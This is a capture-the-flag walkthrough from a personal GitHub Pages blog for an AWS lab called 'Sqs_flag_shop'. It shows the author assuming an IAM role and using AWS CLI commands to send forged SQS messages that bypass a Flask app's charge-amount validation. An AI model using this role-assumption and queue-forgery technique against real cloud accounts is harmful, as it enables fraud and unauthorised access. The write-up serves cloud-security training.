root💀senseicat:~#

Hack. Eat. Sleep. Repeat!!!

---

Project maintained by SENSEiXENUS Hosted on GitHub Pages — Theme by mattgraham

---

Sqs_flag_shop

---

• Current user–:

aws sts get-caller-identity --profile <> | jq

• I found this code in the backend of the web page-:

@app.route('/charge_cash/<cash>', methods=['POST'])
def charge_cash(cash):
    cash = int(cash)
    if cash==1 or cash==5 or cash==10:
        msg = {"charge_amount" : cash}
        message_body = json.dumps(msg)
        response = sqs.sqs_client.send_message(
          QueueUrl=sqs.sqs_queue_url, 
          MessageBody=message_body
        )
        time.sleep(10)
        return redirect(url_for('index'))
    else:
        return "BAD Request!!"

• I enumerated the roles and found this role.

• The current user can assume roles

• The role `` can get-queue-url and also send message over resource sqs url cash-charge-queue-:

• Assuming the role-:

• The source code shows the url requires json body-:

{"charge_amount" : 1000000000000}

• Getting the url-:

aws sqs get-queue-url --queue-name cash_charging_queue --region us-east-1 --profile sqs_adminer | jq

• Send a message to the queue to increase cash

aws sqs send-message --queue-url "https://queue.amazonaws.com/XXXXXXXXXX/cash_charging_queue" --message-body '{"charge_amount": 100000000000000000000}' --region us-east-1 --profile sqs_adminer | jq

• Flaggie-: